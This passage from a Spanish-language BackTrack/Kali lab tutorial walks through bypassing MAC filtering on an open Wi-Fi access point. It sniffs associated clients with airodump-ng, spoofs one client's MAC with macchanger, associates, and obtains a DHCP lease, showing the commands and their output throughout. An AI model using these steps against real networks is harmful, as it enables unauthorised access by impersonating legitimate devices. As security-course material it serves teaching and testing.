root@bt:~# airodump-ng -c 6 -a --bssid B8:A3:86:66:0E:87 mon0

6][Elapsed: 56 s][2013-05-30 11:56 CH BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID B8:A3:86:66:0E:87 -32 100 574 244 1 6 54e. OPN cuchillac BSSID STATION PWR Rate Lost Frames Probe B8:A3:86:66:0E:87 00:24:2B:06:8C:15 0 0 - 1e 0 4 54 -54 0 201 B8:A3:86:66:0E:87 A0:0B:BA:39:00:5D -33 0 -48 B8:A3:86:66:0E:87 00:19:5B:8E:20:C3 -58 0 5 cuchillac

Para este caso utilizaremos la MAC A0:0B:BA:39:00:5D

Paso 3 - Cambio de la dirección MAC a nuestro equipo

3.1 Detenga el objeto monitor mon0 root@bt:~# airmon-ng stop mon0

Interface	Chipset			Dri	ver	
mon0	Atheros	AR24	425	ath	5k -	[phy0]
wlan0	Atheros	AR24	425	ath	5k -	[phy0]
			(monit	or	mode	disabled)

3.2 Desactivar la tarjeta wlan0 root@bt:/# iwconfig wlan0 down

3.3 Cambiar la dirección MAC del bt a la MAC de un cliente

root@bt:/# macchanger --mac A0:0B:BA:39:00:5d wlan0

```
Current MAC: 00:11:22:aa:aa:aa (Cimsys Inc)
Faked MAC: a0:0b:ba:39:00:5d (unknown)
```

3.4 Activar la tarjeta wlan0 root@bt:/# iwconfig wlan0 up

3.5 Verificar que se haya cambiado la dirección MAC root@bt:/# ifconfig wlan0

wlan0 Link encap:Ethernet HWaddr a0:0b:ba:39:00:5d UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:1007 errors:0 dropped:0 overruns:0 frame:0 TX packets:32 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:288539 (288.5 KB) TX bytes:10544 (10.5 K

3.6 No es requerido activar el mon0

Paso 4 - Asociación al AP

4.1 Asocie la PC con backtrack u (otro cliente al cual le haya cambiado la MAC)

root@bt:/# iwconfig wlan0 essid cuchillac channel 6

4.2 Verifique que se haya asociado

root@bt:/# iwconfig

lo no wireless extensions.

- mon0 IEEE 802.11bg Mode:Monitor Frequency:2.437 GHz Tx-Power=20 dBm Retry long limit:7 RTS thr:off Fragment thr:off Power Management:on
- wlan0 IEEE 802.11bg ESSID:"cuchillac" Mode:Managed Frequency:2.437 GHz Access Point: B8:A3:86:66:0E:87 Tx-Power=20 dBm Retry long limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:off

eth0 no wireless extensions.

4.3 Solicite una dirección IP vía DHCP

Para BT5r3 En el BacktTack puede conectarse por medio de comandos

root@bt:/# dhclient wlan0

```
Internet Systems Consortium DHCP Client V3.1.3
Copyright 2004-2009 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/
```

mon0: unknown hardware address type 803
mon0: unknown hardware address type 803
Listening on LPF/wlan0/a0:0b:ba:39:00:5d
<pre>Sending on LPF/wlan0/a0:0b:ba:39:00:5d</pre>
Sending on Socket/fallback
DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 4
DHCPOFFER of 192.168.0.101 from 192.168.0.1
DHCPREQUEST of 192.168.0.101 on wlan0 to 255.255.255.255 port 67
DHCPACK of 192.168.0.101 from 192.168.0.1
bound to 192.168.0.101 renewal in 40790 seconds.

Para Kali

Puede utilizar el Network Manager el cual es una herramienta gráfica para configurar las conexiones de las tarjetas de red. Se encuentra en la parte superior derecha de la barra del escritorio GNOME.

4.4 Verifique que tenga una IP en la máquina de BT o Kali

root@bt:/# ifconfig wlan0

wlan0 Link encap:Ethernet HWaddr a0:0b:ba:39:00:5d inet addr:192.168.0.101 Bcast:192.168.0.255 Mask:255.255.255.0 inet6 addr: fe80::211:22ff:feaa:aaaa/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:9 errors:0 dropped:0 overruns:0 frame:0 TX packets:4 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:1930 (1.9 KB) TX bytes:408 (408.0 B)

4.5 Navegue por internet